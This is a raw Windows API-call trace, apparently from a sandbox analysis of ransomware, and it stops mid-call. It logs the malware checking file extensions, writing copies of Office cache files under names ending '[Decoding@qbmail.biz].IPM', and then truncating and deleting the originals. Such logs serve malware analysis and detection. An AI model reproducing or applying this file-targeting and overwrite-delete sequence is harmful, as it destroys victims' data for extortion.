[0075.006] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0075.006] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0075.006] lstrlenW (lpString=".doc") returned 4 [0075.006] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0075.006] lstrlenW (lpString=".docx") returned 5 [0075.007] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0075.007] lstrlenW (lpString=".pdf") returned 4 [0075.007] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0075.007] lstrlenW (lpString=".xls") returned 4 [0075.007] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0075.007] lstrlenW (lpString=".xlsx") returned 5 [0075.007] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0075.007] lstrlenW (lpString=".ppt") returned 4 [0075.007] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0075.007] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0075.007] lstrlenW (lpString=".zip") returned 4 [0075.007] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0075.007] lstrlenW (lpString=".rar") returned 4 [0075.007] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0075.007] lstrlenW (lpString=".bz2") returned 4 [0075.007] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0075.007] lstrlenW (lpString=".7z") returned 3 [0075.007] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0075.008] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0075.008] lstrlenW (lpString=".dbf") returned 4 [0075.008] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0075.008] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0075.008] lstrlenW (lpString=".1cd") returned 4 [0075.008] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0075.008] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0075.008] lstrlenW (lpString=".jpg") returned 4 [0075.008] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0075.008] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0075.008] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0075.008] lstrlenW (lpString=".doc") returned 4 [0075.008] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0075.008] lstrlenW (lpString=".docx") returned 5 [0075.008] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0075.008] lstrlenW (lpString=".pdf") returned 4 [0075.008] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0075.009] lstrlenW (lpString=".xls") returned 4 [0075.009] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0075.009] lstrlenW (lpString=".xlsx") returned 5 [0075.009] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0075.009] lstrlenW (lpString=".ppt") returned 4 [0075.009] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0075.009] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0075.009] lstrlenW (lpString=".zip") returned 4 [0075.009] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0075.009] lstrlenW (lpString=".rar") returned 4 [0075.009] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0075.009] lstrlenW (lpString=".bz2") returned 4 [0075.009] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0075.009] lstrlenW (lpString=".7z") returned 3 [0075.009] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0075.009] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0075.009] lstrlenW (lpString=".dbf") returned 4 [0075.009] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0075.009] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0075.009] lstrlenW (lpString=".1cd") returned 4 [0075.010] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0075.010] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0075.010] lstrlenW (lpString=".jpg") returned 4 [0075.010] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0075.010] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0075.010] lstrlenW (lpString="PrjProrWW.xml") returned 13 [0075.010] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0076.298] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x29eff1c | out: lpFileSize=0x29eff1c*=6421) returned 1 [0076.298] CloseHandle (hObject=0x1fc) returned 1 [0076.298] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 0x2020 [0076.298] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0076.298] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0076.298] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0076.298] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0076.298] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0076.299] GetLastError () returned 0x0 [0076.299] ReadFile (in: hFile=0x1fc, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x1915, lpOverlapped=0x0) returned 1 [0076.628] WriteFile (in: hFile=0x1f0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0x1920, lpOverlapped=0x0) returned 1 [0076.631] ReadFile (in: hFile=0x1fc, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x0, lpOverlapped=0x0) returned 1 [0076.631] WriteFile (in: hFile=0x1f0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0xee, lpOverlapped=0x0) returned 1 [0076.631] SetEndOfFile (hFile=0x1f0) returned 1 [0076.631] CloseHandle (hObject=0x1f0) returned 1 [0076.632] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0076.632] SetEndOfFile (hFile=0x1fc) returned 1 [0076.634] CloseHandle (hObject=0x1fc) returned 1 [0076.634] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0076.635] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 1 [0076.635] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0076.635] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0076.635] lstrlenW (lpString=".doc") returned 4 [0076.635] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0076.635] lstrlenW (lpString=".docx") returned 5 [0076.636] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0076.636] lstrlenW (lpString=".pdf") returned 4 [0076.636] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0076.636] lstrlenW (lpString=".xls") returned 4 [0076.636] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0076.636] lstrlenW (lpString=".xlsx") returned 5 [0076.636] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0076.636] lstrlenW (lpString=".ppt") returned 4 [0076.636] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0076.636] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0076.636] lstrlenW (lpString=".zip") returned 4 [0076.636] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0076.636] lstrlenW (lpString=".rar") returned 4 [0076.636] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0076.636] lstrlenW (lpString=".bz2") returned 4 [0076.636] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0076.636] lstrlenW (lpString=".7z") returned 3 [0076.636] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0076.636] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0076.636] lstrlenW (lpString=".dbf") returned 4 [0076.637] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0076.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0076.637] lstrlenW (lpString=".1cd") returned 4 [0076.637] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0076.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0076.637] lstrlenW (lpString=".jpg") returned 4 [0076.637] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0076.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0076.637] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0076.637] lstrlenW (lpString=".doc") returned 4 [0076.637] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0076.637] lstrlenW (lpString=".docx") returned 5 [0076.637] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0076.637] lstrlenW (lpString=".pdf") returned 4 [0076.637] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0076.637] lstrlenW (lpString=".xls") returned 4 [0076.638] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0076.638] lstrlenW (lpString=".xlsx") returned 5 [0076.638] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0076.638] lstrlenW (lpString=".ppt") returned 4 [0076.638] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0076.638] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0076.638] lstrlenW (lpString=".zip") returned 4 [0076.638] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0076.638] lstrlenW (lpString=".rar") returned 4 [0076.638] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0076.638] lstrlenW (lpString=".bz2") returned 4 [0076.638] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0076.638] lstrlenW (lpString=".7z") returned 3 [0076.638] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0076.638] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0076.638] lstrlenW (lpString=".dbf") returned 4 [0076.638] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0076.638] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0076.638] lstrlenW (lpString=".1cd") returned 4 [0076.639] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0076.639] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0076.639] lstrlenW (lpString=".jpg") returned 4 [0076.639] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0076.639] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0076.639] lstrlenW (lpString="Setup.xml") returned 9 [0076.639] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0076.640] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x29eff1c | out: lpFileSize=0x29eff1c*=16683) returned 1 [0076.640] CloseHandle (hObject=0x1fc) returned 1 [0076.640] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0076.640] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0076.640] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0076.641] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0076.641] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0076.641] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0076.641] GetLastError () returned 0x0 [0076.641] ReadFile (in: hFile=0x1fc, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x412b, lpOverlapped=0x0) returned 1 [0076.794] WriteFile (in: hFile=0x1f0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0x4130, lpOverlapped=0x0) returned 1 [0076.796] ReadFile (in: hFile=0x1fc, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x0, lpOverlapped=0x0) returned 1 [0076.796] WriteFile (in: hFile=0x1f0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0xe6, lpOverlapped=0x0) returned 1 [0076.796] SetEndOfFile (hFile=0x1f0) returned 1 [0076.796] CloseHandle (hObject=0x1f0) returned 1 [0076.801] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0076.801] SetEndOfFile (hFile=0x1fc) returned 1 [0076.803] CloseHandle (hObject=0x1fc) returned 1 [0076.803] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0076.804] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0076.804] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.804] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.804] lstrlenW (lpString=".doc") returned 4 [0076.804] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0076.804] lstrlenW (lpString=".docx") returned 5 [0076.804] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0076.804] lstrlenW (lpString=".pdf") returned 4 [0076.804] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0076.804] lstrlenW (lpString=".xls") returned 4 [0076.805] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0076.805] lstrlenW (lpString=".xlsx") returned 5 [0076.805] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0076.805] lstrlenW (lpString=".ppt") returned 4 [0076.805] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0076.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.805] lstrlenW (lpString=".zip") returned 4 [0076.805] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0076.805] lstrlenW (lpString=".rar") returned 4 [0076.805] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0076.805] lstrlenW (lpString=".bz2") returned 4 [0076.805] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0076.805] lstrlenW (lpString=".7z") returned 3 [0076.805] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0076.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.805] lstrlenW (lpString=".dbf") returned 4 [0076.805] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0076.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.806] lstrlenW (lpString=".1cd") returned 4 [0076.806] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0076.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.806] lstrlenW (lpString=".jpg") returned 4 [0076.806] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0076.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.806] lstrlenW (lpString=".doc") returned 4 [0076.806] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0076.806] lstrlenW (lpString=".docx") returned 5 [0076.806] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0076.806] lstrlenW (lpString=".pdf") returned 4 [0076.806] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0076.806] lstrlenW (lpString=".xls") returned 4 [0076.806] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0076.806] lstrlenW (lpString=".xlsx") returned 5 [0076.806] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0076.807] lstrlenW (lpString=".ppt") returned 4 [0076.807] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0076.807] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.807] lstrlenW (lpString=".zip") returned 4 [0076.807] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0076.807] lstrlenW (lpString=".rar") returned 4 [0076.807] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0076.807] lstrlenW (lpString=".bz2") returned 4 [0076.807] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0076.807] lstrlenW (lpString=".7z") returned 3 [0076.807] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0076.807] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.807] lstrlenW (lpString=".dbf") returned 4 [0076.807] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0076.807] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.807] lstrlenW (lpString=".1cd") returned 4 [0076.807] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0076.807] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.808] lstrlenW (lpString=".jpg") returned 4 [0076.808] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0076.808] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0076.808] lstrlenW (lpString="VisiorWW.xml") returned 12 [0076.808] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0077.221] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x29eff1c | out: lpFileSize=0x29eff1c*=8723) returned 1 [0077.221] CloseHandle (hObject=0x208) returned 1 [0077.221] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 0x2020 [0077.221] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0077.221] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0077.221] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0077.222] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0077.222] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0077.222] GetLastError () returned 0x0 [0077.222] ReadFile (in: hFile=0x208, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x2213, lpOverlapped=0x0) returned 1 [0077.226] WriteFile (in: hFile=0x1d0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0x2220, lpOverlapped=0x0) returned 1 [0077.228] ReadFile (in: hFile=0x208, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x0, lpOverlapped=0x0) returned 1 [0077.228] WriteFile (in: hFile=0x1d0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0xec, lpOverlapped=0x0) returned 1 [0077.228] SetEndOfFile (hFile=0x1d0) returned 1 [0077.228] CloseHandle (hObject=0x1d0) returned 1 [0077.229] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0077.229] SetEndOfFile (hFile=0x208) returned 1 [0077.231] CloseHandle (hObject=0x208) returned 1 [0077.231] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[Decoding@qbmail.biz].IPM", 